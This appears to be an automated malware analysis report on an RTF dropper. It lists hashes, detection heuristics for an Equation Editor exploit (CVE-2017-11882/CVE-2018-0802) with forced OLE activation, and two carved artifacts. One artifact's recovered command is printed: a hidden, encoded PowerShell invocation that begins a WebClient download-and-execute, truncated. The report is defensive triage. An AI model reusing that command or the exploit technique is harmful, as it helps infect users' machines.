RTF malware analysis — malicious · 66800afe021193f9

MALICIOUS

RTF

65.5 KB First seen: 2020-02-04

MD5: ef7f56ca630f0612534eaa3cf388cdba SHA-1: 5420f1f4d693a96e5fb26c30428ed3661f12d171 SHA-256: 66800afe021193f9309d890929652d06a05ea413e9e52af6cd99eaed34be4bab

240 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.001 PowerShell

The RTF file contains embedded OLE objects and specifically triggers the Equation Editor vulnerability, a known method for executing arbitrary code. Static triage indicates the presence of PowerShell encoded commands and shellcode, suggesting the file acts as a dropper for a second-stage payload. The ClamAV detection name further supports this dropper functionality.

Heuristics 6

Split hex Equation Editor ProgID + OLE object critical CVE likely RTF_EQUATION_EDITOR

RTF embeds the Equation.3 ProgID as hex bytes near OLE object activation and splits the byte stream with whitespace or an ignorable RTF group. This is an Equation Editor OLE activation surface commonly used by CVE-2017-11882 / CVE-2018-0802 exploit documents.
ClamAV: Rtf.Dropper.Agent-7392278-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Dropper.Agent-7392278-0
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 2 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000001c9.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x1C9	29561 bytes
SHA-256: `944c221fd1495470d78a87ed1926e1c9d7c72797440b90928704bcef6890ddfb`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): WScript.Shell").Run("POwErshell -noprofile -noni -W Hidden -e aQBlAHgAIAAoACgAbgBlAHcALQBPAGIASgBlAGMAVAAgAFMAeQBzAFQAZQBtAC4AbgBlAFQALgBXAGUAQgBDAGwASQBlAE4AdAApAC4AZ Carved artifact contains a PowerShell -EncodedCommand style payload.
`objdata_01_off0000ef61.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xEF61	1726 bytes
SHA-256: `dad6ef7997acc21225b71bae65c485101ec83870844404b5bfba242c1827643e`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis found candidate code region(s). Indicators: SC_PEB_ACCESS

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